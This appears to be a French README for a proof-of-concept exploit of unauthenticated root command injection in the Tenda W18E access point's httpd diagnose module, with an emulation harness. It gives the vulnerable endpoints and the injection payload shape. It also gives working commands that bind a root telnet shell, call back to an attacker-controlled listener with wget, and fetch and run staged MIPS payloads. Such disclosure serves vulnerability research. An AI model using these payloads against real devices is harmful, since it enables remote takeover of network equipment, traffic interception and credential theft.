
Preuve de concept pour une injection de commande OS root non authentifiée dans le module httpd diagnose du point d'accès Tenda W18E, avec un script d'exploitation auto-vérifiant et un harnais d'émulation MIPS QEMU.
diagnose)Injection de commandes OS dans le serveur web du Tenda W18E High-Power AP (/bin/httpd). Un
attaquant distant peut exécuter des commandes shell arbitraires en tant que root, et sur un appareil en
état d'usine / après réinitialisation, l'attaque ne nécessite aucune authentification.
| Produit | Tenda W18E High-Power AP |
| Firmware (testé) | US_W18EV2_kf_V16.01.0.20(4766)_HighPower |
| Composant | /bin/httpd (MIPS32 little-endian, musl, basé sur GoAhead) |
| Classe | CWE-78 Injection de commandes OS → exécution de commandes arbitraires en tant que root |
| Points de terminaison | POST /goform/setModules, POST /goform/getModules (module diagnose) |
| Authentification | Aucune tant que quickset.done == 0 (usine / après réinitialisation) ; sinon toute session valide |
| Champ vulnérable | protocol (ainsi que targetDevice) dans l'objet JSON diagnose |
| CVE | en attente |
⚠️ Tests autorisés uniquement. Utilisez ceci contre des appareils que vous possédez ou que vous êtes explicitement autorisé à tester. Voir Légal / usage responsable.
La fonctionnalité « vérification réseau / capture de paquets » stocke les champs JSON fournis par l'utilisateur dans le magasin de configuration, puis les insère ultérieurement dans une commande shell.
Stockage (sans assainissement) : formSetNetCheckTools (httpd @ 0x4e0968) lit le champ JSON
protocol et l'écrit dans la clé de configuration net.check.protocol. La vérification des métacaractères shell
du fournisseur (prod_system_param_valid) est appliquée au champ voisin ip mais pas à
protocol / targetDevice.
Utilisation (sink) : le démarrage d'une capture fait que do_packet_action (httpd @ 0x4ddbd0) relit la
valeur et construit une commande tcpdump avec snprintf, puis l'exécute via
doSystemCmd → system(3) :
// do_packet_action, simplified
snprintf(cmd, 256, "tcpdump -i %s %s -U -c %d -w %s &", ifname, protocol, num, file);
doSystemCmd(cmd); // -> vsnprintf() -> system(cmd) -> /bin/sh -c ...
Tout métacaractère shell présent dans protocol est donc exécuté. httpd s'exécute en tant que root, donc la commande injectée aussi.
POST /goform/setModules {"diagnose":{... "protocol":";<cmd>;#" ...}}
│ formSetModules -> cJSON_Parse(request body)
│ formSetNetCheckTools -> prod_cfm_set_val("net.check.protocol", value) [no validation]
▼
config store
│ getModules -> do_packet_action
│ GetValue("net.check.protocol") -> snprintf("tcpdump ... %s ... &", value)
▼
doSystemCmd(cmd) -> system() -> /bin/sh -c ← injection executes as root
setModules ne fait que stocker la charge utile ; le worker de capture (et donc system())
est démarré par le getModules suivant. La réponse HTTP de getModules est un champ de statut
et affiche « mémoire insuffisante » (内存不足…) même en cas de succès — ne traitez donc jamais
la réponse HTTP comme le résultat. Vérifiez par un autre canal.
.
├── poc.sh # exploit: 2 requests, self-verifying by default
├── EXPECTED_OUTPUT.txt # reference capture of a successful run
├── harness/ # reproduce with NO hardware (full-system MIPS emulation)
│ ├── build_and_run.sh # build emulated rootfs + boot httpd on 127.0.0.1:8080
│ ├── cfmstub.c # LD_PRELOAD GetValue/SetValue shim (freestanding, 1 file)
│ ├── init_poc.sh # guest init: mount, seed config, bring up eth0
│ └── sercon.py # drive the guest serial console
├── LICENSE
└── README.md
Placez le point d'accès (AP) dans son état par défaut/usine (ou connectez-vous et réutilisez la session) et connectez-vous
à son réseau LAN. Notez son IP (généralement 192.168.0.1).
Lancez le PoC auto-vérifiant :
./poc.sh 192.168.0.1
Il écrit un fichier de preuve dans la racine web et le relit, affichant par exemple
W18E-RCE-OK-uid0 → la commande s'est exécutée en tant que uid 0 (root).
Exécutez votre propre commande :
./poc.sh 192.168.0.1 'telnetd -l/bin/sh -p9999' # bind a root shell (telnetd ships on the device)
telnet 192.168.0.1 9999 # ... then connect to it
Ou un rappel réseau aveugle vers un listener que vous contrôlez (remplacez par votre IP LAN) :
# on your machine: nc -lvnp 4444
./poc.sh 192.168.0.1 "wget -qT4 http://YOUR_IP:4444/uid_\$(awk '/^Uid/{print \$2}' /proc/self/status)"
# your listener shows: GET /uid_0 HTTP/1.1
Limite de taille de la charge utile. La commande est assemblée avec
snprintfdans un tampon de 256 octets (tcpdump -i <if> <your-payload> -U -c N -w <file> &). Gardez la commande injectée sous ~110 caractères sinon la fin est tronquée et rien ne s'exécute. Pour toute charge plus volumineuse, procédez par étapes :wget/tftpun script ou un binaire MIPS-LE dans/tmp,chmod +x, exécutez-le.Pas de
id/whoamisur l'appareil. Son BusyBox est allégé (id,whoami,ncne sont pas compilés). Les outils disponibles incluentsh,awk,grep,cat,cut,sed,wget,tftp,telnetd,ping. Prouvez le root via/proc/self/status(uid 0) comme le fait le PoC.
Le harnais démarre le httpd d'origine et ses .so fournis sous émulation MIPS
système complet. Seuls GetValue/SetValue sont simulés (cfmstub.c via LD_PRELOAD), car
le démon de configuration cfmd sur l'appareil nécessite une mémoire flash NAND dont l'émulateur est dépourvu — tout le code vulnérable est un firmware non modifié. (QEMU en mode utilisateur ne fonctionne pas ici : le serveur GoAhead multithreadé se bloque sur FUTEX_LOCK_PI ; un vrai noyau est requis.)
sudo apt install qemu-system-mips e2fsprogs python3 gcc-mipsel-linux-gnu
# if gcc-mipsel-linux-gnu is unavailable on your distro, the build script also
# accepts clang + lld: sudo apt install clang lld
Vous avez également besoin d'un noyau MIPSEL malta qui démarre un rootfs ext2 — n'importe quel vmlinux.mipsel.4 de firmadyne/FirmAE fonctionne.
cd harness
export ROOTFS_SRC=/path/to/_..._.extracted/squashfs-root # the extracted firmware root
export KERNEL=/path/to/vmlinux.mipsel.4
sudo -E ./build_and_run.sh # prints: httpd is live at http://127.0.0.1:8080/
../poc.sh 127.0.0.1:8080 # self-verifying -> W18E-RCE-OK-uid0
# or read anything out of the guest over its serial console:
sudo python3 sercon.py 'cat /tmp/RCE_OK' 'grep Uid /proc/self/status'
La sortie attendue se trouve dans EXPECTED_OUTPUT.txt. Dans l'émulateur, l'hôte est joignable depuis l'invité à l'adresse 10.0.2.2 (NAT en mode utilisateur de QEMU), donc les charges utiles de rappel réseau doivent cibler 10.0.2.2:<port>.
Exécution de commandes root à distance, non authentifiée (état d'usine), sur un point d'accès : prise de contrôle totale de l'appareil — porte dérobée persistante, interception du trafic (c'est littéralement la fonctionnalité de capture de paquets), vol d'identifiants/de configuration, pivot sur le LAN, ou brickage.